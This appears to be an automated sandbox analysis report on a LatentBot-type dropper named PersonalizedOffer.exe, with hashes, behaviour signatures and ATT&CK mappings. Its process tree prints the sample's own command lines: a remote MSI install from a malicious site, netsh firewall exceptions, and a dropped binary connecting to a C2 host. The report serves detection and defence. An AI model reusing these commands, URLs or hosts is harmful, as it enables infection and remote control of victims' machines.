Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240910-en -
resource tags
arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system -
submitted
25/09/2024, 21:41
Static task
static1
Behavioral task
behavioral1
Sample
PersonalizedOffer.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
PersonalizedOffer.exe
Resource
win10v2004-20240910-en
General
-
Target
PersonalizedOffer.exe
-
Size
3.9MB
-
MD5
09e3aa460dbf9cddbb402354cb854ced
-
SHA1
e27bf77f6cf806e1c841fc487872d9f5f75a75f7
-
SHA256
99822b12d5cd66b9d5fb3436c2c2f0f9d754dbf6483896800b647af57081af2b
-
SHA512
5521bdd944d58a9cf524959598fac97f810090d2f934afdb00809a75c46c163e053b0d092f955805d0be150ecbb137c1814f92c5f1887bf45ad9ee17f67dfa6c
-
SSDEEP
98304:7tlEb9+zykLmOCYNW/WrHwOnvE8sJXcMv5ezs2rEPqYxLI:7tSb9+zykLmxd/cHwOkp7jI
Malware Config
Extracted
latentbot
besthard2024.zapto.org
Signatures
-
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 3572 netsh.exe 1204 netsh.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation PersonalizedOffer.exe -
Executes dropped EXE 4 IoCs
pid Process 1184 MSIBC32.tmp 4712 PrintDrivers.exe 3108 PrintDriver.exe 2592 PrintDrivers.exe -
Loads dropped DLL 8 IoCs
pid Process 4748 MsiExec.exe 4748 MsiExec.exe 4748 MsiExec.exe 4508 MsiExec.exe 4508 MsiExec.exe 4508 MsiExec.exe 4508 MsiExec.exe 4508 MsiExec.exe -
Use of msiexec (install) with remote resource 1 IoCs
pid Process 3240 msiexec.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 33 3240 msiexec.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\E: PersonalizedOffer.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: PersonalizedOffer.exe File opened (read-only) \??\R: PersonalizedOffer.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\I: PersonalizedOffer.exe File opened (read-only) \??\L: PersonalizedOffer.exe File opened (read-only) \??\M: PersonalizedOffer.exe File opened (read-only) \??\B: PersonalizedOffer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\V: PersonalizedOffer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: PersonalizedOffer.exe File opened (read-only) \??\Z: PersonalizedOffer.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\P: PersonalizedOffer.exe File opened (read-only) \??\U: PersonalizedOffer.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\W: PersonalizedOffer.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: PersonalizedOffer.exe File opened (read-only) \??\H: PersonalizedOffer.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\A: PersonalizedOffer.exe File opened (read-only) \??\Y: PersonalizedOffer.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: PersonalizedOffer.exe File opened (read-only) \??\Q: PersonalizedOffer.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: PersonalizedOffer.exe File opened (read-only) \??\O: PersonalizedOffer.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe -
Drops file in Windows directory 11 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIB951.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBA5C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAF0C.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB769.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB816.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB884.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB895.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIBC32.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 12 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSIBC32.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PersonalizedOffer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PrintDrivers.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PrintDrivers.exe -
Delays execution with timeout.exe 10 IoCs
pid Process 3640 timeout.exe 1196 timeout.exe 4788 timeout.exe 1640 timeout.exe 2484 timeout.exe 3640 timeout.exe 1524 timeout.exe 944 timeout.exe 4348 timeout.exe 1340 timeout.exe -
Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
-
Kills process with taskkill 3 IoCs
pid Process 4088 taskkill.exe 3216 taskkill.exe 1096 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2608 msiexec.exe 2608 msiexec.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe 4712 PrintDrivers.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 2608 msiexec.exe Token: SeCreateTokenPrivilege 4368 PersonalizedOffer.exe Token: SeAssignPrimaryTokenPrivilege 4368 PersonalizedOffer.exe Token: SeLockMemoryPrivilege 4368 PersonalizedOffer.exe Token: SeIncreaseQuotaPrivilege 4368 PersonalizedOffer.exe Token: SeMachineAccountPrivilege 4368 PersonalizedOffer.exe Token: SeTcbPrivilege 4368 PersonalizedOffer.exe Token: SeSecurityPrivilege 4368 PersonalizedOffer.exe Token: SeTakeOwnershipPrivilege 4368 PersonalizedOffer.exe Token: SeLoadDriverPrivilege 4368 PersonalizedOffer.exe Token: SeSystemProfilePrivilege 4368 PersonalizedOffer.exe Token: SeSystemtimePrivilege 4368 PersonalizedOffer.exe Token: SeProfSingleProcessPrivilege 4368 PersonalizedOffer.exe Token: SeIncBasePriorityPrivilege 4368 PersonalizedOffer.exe Token: SeCreatePagefilePrivilege 4368 PersonalizedOffer.exe Token: SeCreatePermanentPrivilege 4368 PersonalizedOffer.exe Token: SeBackupPrivilege 4368 PersonalizedOffer.exe Token: SeRestorePrivilege 4368 PersonalizedOffer.exe Token: SeShutdownPrivilege 4368 PersonalizedOffer.exe Token: SeDebugPrivilege 4368 PersonalizedOffer.exe Token: SeAuditPrivilege 4368 PersonalizedOffer.exe Token: SeSystemEnvironmentPrivilege 4368 PersonalizedOffer.exe Token: SeChangeNotifyPrivilege 4368 PersonalizedOffer.exe Token: SeRemoteShutdownPrivilege 4368 PersonalizedOffer.exe Token: SeUndockPrivilege 4368 PersonalizedOffer.exe Token: SeSyncAgentPrivilege 4368 PersonalizedOffer.exe Token: SeEnableDelegationPrivilege 4368 PersonalizedOffer.exe Token: SeManageVolumePrivilege 4368 PersonalizedOffer.exe Token: SeImpersonatePrivilege 4368 PersonalizedOffer.exe Token: SeCreateGlobalPrivilege 4368 PersonalizedOffer.exe Token: SeCreateTokenPrivilege 4368 PersonalizedOffer.exe Token: SeAssignPrimaryTokenPrivilege 4368 PersonalizedOffer.exe Token: SeLockMemoryPrivilege 4368 PersonalizedOffer.exe Token: SeIncreaseQuotaPrivilege 4368 PersonalizedOffer.exe Token: SeMachineAccountPrivilege 4368 PersonalizedOffer.exe Token: SeTcbPrivilege 4368 PersonalizedOffer.exe Token: SeSecurityPrivilege 4368 PersonalizedOffer.exe Token: SeTakeOwnershipPrivilege 4368 PersonalizedOffer.exe Token: SeLoadDriverPrivilege 4368 PersonalizedOffer.exe Token: SeSystemProfilePrivilege 4368 PersonalizedOffer.exe Token: SeSystemtimePrivilege 4368 PersonalizedOffer.exe Token: SeProfSingleProcessPrivilege 4368 PersonalizedOffer.exe Token: SeIncBasePriorityPrivilege 4368 PersonalizedOffer.exe Token: SeCreatePagefilePrivilege 4368 PersonalizedOffer.exe Token: SeCreatePermanentPrivilege 4368 PersonalizedOffer.exe Token: SeBackupPrivilege 4368 PersonalizedOffer.exe Token: SeRestorePrivilege 4368 PersonalizedOffer.exe Token: SeShutdownPrivilege 4368 PersonalizedOffer.exe Token: SeDebugPrivilege 4368 PersonalizedOffer.exe Token: SeAuditPrivilege 4368 PersonalizedOffer.exe Token: SeSystemEnvironmentPrivilege 4368 PersonalizedOffer.exe Token: SeChangeNotifyPrivilege 4368 PersonalizedOffer.exe Token: SeRemoteShutdownPrivilege 4368 PersonalizedOffer.exe Token: SeUndockPrivilege 4368 PersonalizedOffer.exe Token: SeSyncAgentPrivilege 4368 PersonalizedOffer.exe Token: SeEnableDelegationPrivilege 4368 PersonalizedOffer.exe Token: SeManageVolumePrivilege 4368 PersonalizedOffer.exe Token: SeImpersonatePrivilege 4368 PersonalizedOffer.exe Token: SeCreateGlobalPrivilege 4368 PersonalizedOffer.exe Token: SeCreateTokenPrivilege 4368 PersonalizedOffer.exe Token: SeAssignPrimaryTokenPrivilege 4368 PersonalizedOffer.exe Token: SeLockMemoryPrivilege 4368 PersonalizedOffer.exe Token: SeIncreaseQuotaPrivilege 4368 PersonalizedOffer.exe Token: SeMachineAccountPrivilege 4368 PersonalizedOffer.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 3240 msiexec.exe 3240 msiexec.exe 3108 PrintDriver.exe 3108 PrintDriver.exe 3108 PrintDriver.exe 3108 PrintDriver.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 3108 PrintDriver.exe 3108 PrintDriver.exe 3108 PrintDriver.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2608 wrote to memory of 4748 2608 msiexec.exe 91 PID 2608 wrote to memory of 4748 2608 msiexec.exe 91 PID 2608 wrote to memory of 4748 2608 msiexec.exe 91 PID 4368 wrote to memory of 3240 4368 PersonalizedOffer.exe 93 PID 4368 wrote to memory of 3240 4368 PersonalizedOffer.exe 93 PID 4368 wrote to memory of 3240 4368 PersonalizedOffer.exe 93 PID 2608 wrote to memory of 4508 2608 msiexec.exe 95 PID 2608 wrote to memory of 4508 2608 msiexec.exe 95 PID 2608 wrote to memory of 4508 2608 msiexec.exe 95 PID 2608 wrote to memory of 1184 2608 msiexec.exe 97 PID 2608 wrote to memory of 1184 2608 msiexec.exe 97 PID 2608 wrote to memory of 1184 2608 msiexec.exe 97 PID 4368 wrote to memory of 4316 4368 PersonalizedOffer.exe 99 PID 4368 wrote to memory of 4316 4368 PersonalizedOffer.exe 99 PID 4368 wrote to memory of 4316 4368 PersonalizedOffer.exe 99 PID 4316 wrote to memory of 3812 4316 cmd.exe 104 PID 4316 wrote to memory of 3812 4316 cmd.exe 104 PID 4316 wrote to memory of 3812 4316 cmd.exe 104 PID 4396 wrote to memory of 3604 4396 cmd.exe 103 PID 4396 wrote to memory of 3604 4396 cmd.exe 103 PID 4396 wrote to memory of 404 4396 cmd.exe 105 PID 4396 wrote to memory of 404 4396 cmd.exe 105 PID 4396 wrote to memory of 2124 4396 cmd.exe 106 PID 4396 wrote to memory of 2124 4396 cmd.exe 106 PID 2124 wrote to memory of 4392 2124 cmd.exe 107 PID 2124 wrote to memory of 4392 2124 cmd.exe 107 PID 4396 wrote to memory of 4984 4396 cmd.exe 108 PID 4396 wrote to memory of 4984 4396 cmd.exe 108 PID 4396 wrote to memory of 2484 4396 cmd.exe 109 PID 4396 wrote to memory of 2484 4396 cmd.exe 109 PID 4316 wrote to memory of 1512 4316 cmd.exe 110 PID 4316 wrote to memory of 1512 4316 cmd.exe 110 PID 4316 wrote to memory of 1512 4316 cmd.exe 110 PID 4316 wrote to memory of 3112 4316 cmd.exe 111 PID 4316 wrote to memory of 3112 4316 cmd.exe 111 PID 4316 wrote to memory of 3112 4316 cmd.exe 111 PID 4316 wrote to memory of 2740 4316 cmd.exe 112 PID 4316 wrote to memory of 2740 4316 cmd.exe 112 PID 4316 wrote to memory of 2740 4316 cmd.exe 112 PID 4396 wrote to memory of 4832 4396 cmd.exe 115 PID 4396 wrote to memory of 4832 4396 cmd.exe 115 PID 4396 wrote to memory of 3660 4396 cmd.exe 116 PID 4396 wrote to memory of 3660 4396 cmd.exe 116 PID 3660 wrote to memory of 3432 3660 cmd.exe 117 PID 3660 wrote to memory of 3432 3660 cmd.exe 117 PID 3660 wrote to memory of 3572 3660 cmd.exe 118 PID 3660 wrote to memory of 3572 3660 cmd.exe 118 PID 3660 wrote to memory of 1204 3660 cmd.exe 119 PID 3660 wrote to memory of 1204 3660 cmd.exe 119 PID 3660 wrote to memory of 4916 3660 cmd.exe 120 PID 3660 wrote to memory of 4916 3660 cmd.exe 120 PID 3660 wrote to memory of 3536 3660 cmd.exe 121 PID 3660 wrote to memory of 3536 3660 cmd.exe 121 PID 3660 wrote to memory of 3108 3660 cmd.exe 122 PID 3660 wrote to memory of 3108 3660 cmd.exe 122 PID 4396 wrote to memory of 1196 4396 cmd.exe 123 PID 4396 wrote to memory of 1196 4396 cmd.exe 123 PID 4396 wrote to memory of 4088 4396 cmd.exe 124 PID 4396 wrote to memory of 4088 4396 cmd.exe 124 PID 4396 wrote to memory of 4788 4396 cmd.exe 125 PID 4396 wrote to memory of 4788 4396 cmd.exe 125 PID 4396 wrote to memory of 3216 4396 cmd.exe 126 PID 4396 wrote to memory of 3216 4396 cmd.exe 126 PID 4396 wrote to memory of 1640 4396 cmd.exe 127 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 3812 attrib.exe 1512 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe"C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe"1⤵
- Checks computer location settings
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4368 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i https://www.walteryhu.site/PrintViewer.msi AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\PersonalizedOffer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1727059850 "2⤵
- Use of msiexec (install) with remote resource
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
PID:3240
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXEBD2B.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\AIEA0D4.tmp"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:3812
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXEBD2B.bat"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:1512
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXEBD2B.bat" "3⤵
- System Location Discovery: System Language Discovery
PID:3112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"3⤵
- System Location Discovery: System Language Discovery
PID:2740
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 56FD1826A48AB5C2378AC7CE24215296 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4748
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C79D982C41A06196B7A1783AFC662ECC2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4508
-
-
C:\Windows\Installer\MSIBC32.tmp"C:\Windows\Installer\MSIBC32.tmp" /DontWait /HideWindow /dir "C:\Games\" "C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1184
-
-
C:\Games\PrintDrivers.exe"C:\Games\PrintDrivers.exe" /HideWindow "C:\Games\PrintDrivers.cmd"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4712
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Games\PrintDrivers.cmd" "1⤵
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\system32\mode.comMode 90,202⤵PID:3604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul2⤵PID:404
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description2⤵
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\system32\reg.exeReg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description3⤵PID:4392
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where (name="PrintDriver.exe") get commandline2⤵PID:4984
-
-
C:\Windows\system32\findstr.exefindstr /i "PrintDriver.exe"2⤵PID:2484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type C:\Games\PrintDriver.txt"2⤵PID:4832
-
-
C:\Windows\system32\cmd.execmd2⤵
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\system32\mode.comMode 90,203⤵PID:3432
-
-
C:\Windows\system32\netsh.exenetsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplication" mode=ENABLE scope=ALL3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3572
-
-
C:\Windows\system32\netsh.exenetsh firewall add allowedprogram program="C:\Games\PrintDriver.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1204
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where (name="PrintDriver.exe") get commandline3⤵PID:4916
-
-
C:\Windows\system32\findstr.exefindstr /i "PrintDriver.exe"3⤵PID:3536
-
-
C:\Games\PrintDriver.exeC:\Games\PrintDriver.exe -autoreconnect ID:5736927 -connect besthard2024.zapto.org:5500 -run3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1196
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:4088
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4788
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:3216
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1640
-
-
C:\Windows\system32\taskkill.exetaskkill /im rundll32.exe /f2⤵
- Kills process with taskkill
PID:1096
-
-
C:\Games\PrintDrivers.exeC:\Games\PrintDrivers.exe /HideWindow C:\Games\driverhelp.cmd2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Games\driverhelp.cmd" "1⤵PID:880
-
C:\Windows\system32\mode.comMode 90,202⤵PID:632
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul2⤵PID:2188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description2⤵PID:456
-
C:\Windows\system32\reg.exeReg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description3⤵PID:1184
-
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:4348
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:2484
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:3640
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:1524
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:1340
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:944
-
-
C:\Windows\system32\timeout.exetimeout /t 202⤵
- Delays execution with timeout.exe
PID:3640
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
418KB
MD5201d89dea6895856cb15d906fc5eba7a
SHA1c80aa98a237cc841f20b8312753f8b50dfe0af55
SHA256c0a1e3d88a7891582169ea044a5eca967d9598957856ec03ba6a6d5b874c1916
SHA512af9c9cf38b57f72ba8f45e58d97e0fb21b26b59decff6e19bf61798ad6705aa9879c31148d8604bb97c0b9f3d589f442e1b237d21a6c84b21e9f116cf831982f
-
Filesize
2.8MB
MD527c1c264c6fce4a5f44419f1783db8e0
SHA1e071486e4dfef3a13f958a252d7000d3ce7bfd89
SHA25629379afd1ca5439c82931d623fda335174dc416e5b013591457fa1f7bbe564db
SHA512a80a512be6f152e8737cd5d0a0a2a193eaf88f3bfb7ed6b7695d227e195db278e2734ebfc9fe48a68cfb13e4e5bb7fb4825019cfa2210ba741ecf8b11f954a98
-
Filesize
1KB
MD56eb13f7936a83f4c44842029914aad6e
SHA17b9b27731d4ca6f996ce68c5d68b4d653e31d915
SHA2568d9bb49947d9dc7fa7be7310149a99f13a0c02580fd996aae31c69d673775c49
SHA512227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e
-
Filesize
1KB
MD5eacc690f71a77685f030bef23b506b91
SHA103b911ba997d44028bf515ea44fe4813b4b4a785
SHA2560f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263
SHA5129870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d
-
Filesize
403KB
MD529ed7d64ce8003c0139cccb04d9af7f0
SHA18172071a639681934d3dc77189eb88a04c8bcfac
SHA256e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f
SHA5124bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415
-
Filesize
1KB
MD5b9dfbea744cc6c65473a97f2b959e44c
SHA1c022f1d97fa56d61ad935aafa4e9e59e611e746a
SHA2566f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d
SHA512b92c8ea3583eb87f365b96cd45562cac2c4343e281c5090fc00db3f03bb5538a2d8aea3c39449d8d79cad31ed3692f6045266811d50fdd69807d8b12a9649eb5
-
Filesize
870B
MD5fd3b5847ddb8a31413951c0aa870ab95
SHA1e3e91e3e9fa442cd1937422120de91da87973ddb
SHA256e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad
SHA5125d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096
-
Filesize
6.7MB
MD585f914ec316e8d20e8e13ef3719e04e4
SHA186ec276d409525bd8c1ef6d47ec8eece7639c0a2
SHA25600ceea629efd7eb1d9eee5706ce8089336259c099fc4af274baf857bd1ddf230
